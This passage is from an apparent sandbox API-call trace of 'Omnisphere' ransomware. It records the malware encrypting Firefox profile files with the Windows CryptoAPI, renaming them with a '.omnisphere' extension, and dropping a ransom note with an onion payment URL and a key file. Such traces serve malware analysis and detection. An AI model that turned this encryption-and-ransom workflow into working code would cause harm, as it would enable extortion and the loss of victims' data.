dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.763] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.764] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.764] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.764] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.764] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.764] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.764] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.764] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.764] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.764] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.764] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.766] CryptDestroyKey (hKey=0x1639b28) returned 1 [0155.766] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0155.767] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x10000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0155.767] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0155.767] GetProcessHeap () returned 0x1600000 [0155.767] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c4) returned 0x1729030 [0155.767] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cert8.db"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cert8.db.omnisphere")) returned 1 [0155.768] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db.omnisphere.id" [0155.768] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cert8.db.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.769] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0155.770] CloseHandle (hObject=0x388) returned 1 [0155.770] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0155.771] CloseHandle (hObject=0x3c0) returned 1 [0155.771] SetEndOfFile (hFile=0x288) returned 1 [0155.771] FlushFileBuffers (hFile=0x288) returned 1 [0155.789] CloseHandle (hObject=0x288) returned 1 [0155.790] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0155.790] GetProcessHeap () returned 0x1600000 [0155.790] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1732da0 [0155.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0155.791] GetProcessHeap () returned 0x1600000 [0155.791] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd848 [0155.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd848, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0155.791] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0155.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0155.791] GetProcessHeap () returned 0x1600000 [0155.791] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726bd8 [0155.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726bd8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0155.792] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0155.792] GetProcessHeap () returned 0x1600000 [0155.792] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x17332c0 [0155.792] PathCombineW (in: pszDest=0x17332c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0155.792] GetProcessHeap () returned 0x1600000 [0155.792] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1720db0 [0155.792] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.792] WriteFile (in: hFile=0x288, lpBuffer=0x1720db0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1720db0*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0155.792] CloseHandle (hObject=0x288) returned 1 [0155.793] GetProcessHeap () returned 0x1600000 [0155.793] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1732da0 | out: hHeap=0x1600000) returned 1 [0155.793] GetProcessHeap () returned 0x1600000 [0155.793] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c938 [0155.793] PathCombineW (in: pszDest=0x162c938, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0155.793] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.793] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0155.793] CloseHandle (hObject=0x288) returned 1 [0155.794] GetProcessHeap () returned 0x1600000 [0155.794] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c938 | out: hHeap=0x1600000) returned 1 [0155.794] GetProcessHeap () returned 0x1600000 [0155.794] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172c1c8 | out: hHeap=0x1600000) returned 1 [0155.794] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x400ce751, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0xcc, cFileName="compatibility.ini", cAlternateFileName="COMPAT~1.INI")) returned 1 [0155.794] GetProcessHeap () returned 0x1600000 [0155.794] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc6) returned 0x162c6c8 [0155.794] PathCombineW (in: pszDest=0x162c6c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="compatibility.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\compatibility.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\compatibility.ini" [0155.794] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0155.794] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\compatibility.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\compatibility.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.795] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=199) returned 1 [0155.795] GetTickCount () returned 0x1166b83 [0155.795] GetTickCount () returned 0x1166b83 [0155.795] GetTickCount () returned 0x1166b83 [0155.795] GetTickCount () returned 0x1166b83 [0155.795] GetTickCount () returned 0x1166b83 [0155.795] GetTickCount () returned 0x1166b83 [0155.795] GetTickCount () returned 0x1166b83 [0155.795] GetTickCount () returned 0x1166b83 [0155.795] GetTickCount () returned 0x1166b83 [0155.795] GetTickCount () returned 0x1166b83 [0155.795] GetTickCount () returned 0x1166b83 [0155.795] GetTickCount () returned 0x1166b83 [0155.796] GetTickCount () returned 0x1166b83 [0155.796] GetTickCount () returned 0x1166b83 [0155.796] GetTickCount () returned 0x1166b83 [0155.796] GetTickCount () returned 0x1166b83 [0155.796] GetTickCount () returned 0x1166b83 [0155.796] GetTickCount () returned 0x1166b83 [0155.796] GetTickCount () returned 0x1166b83 [0155.796] GetTickCount () returned 0x1166b83 [0155.796] GetTickCount () returned 0x1166b83 [0155.796] GetTickCount () returned 0x1166b83 [0155.796] GetTickCount () returned 0x1166b83 [0155.796] GetTickCount () returned 0x1166b83 [0155.796] GetTickCount () returned 0x1166b83 [0155.796] GetTickCount () returned 0x1166b83 [0155.796] GetTickCount () returned 0x1166b92 [0155.797] GetTickCount () returned 0x1166b92 [0155.797] GetTickCount () returned 0x1166b92 [0155.797] GetTickCount () returned 0x1166b92 [0155.797] GetTickCount () returned 0x1166b92 [0155.797] GetTickCount () returned 0x1166b92 [0155.797] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668460) returned 1 [0155.798] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639768) returned 1 [0155.798] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0155.798] CryptDestroyKey (hKey=0x1639768) returned 1 [0155.798] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0155.798] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc7, lpName=0x0) returned 0x3c0 [0155.799] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc7) returned 0x1480000 [0155.799] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668bd0) returned 1 [0155.800] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b28) returned 1 [0155.800] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0155.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0155.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.801] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.801] CryptDestroyKey (hKey=0x1639b28) returned 1 [0155.801] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0155.801] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xc7, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0155.801] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0155.805] GetProcessHeap () returned 0x1600000 [0155.805] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d6) returned 0x1732da0 [0155.805] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\compatibility.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\compatibility.ini"), 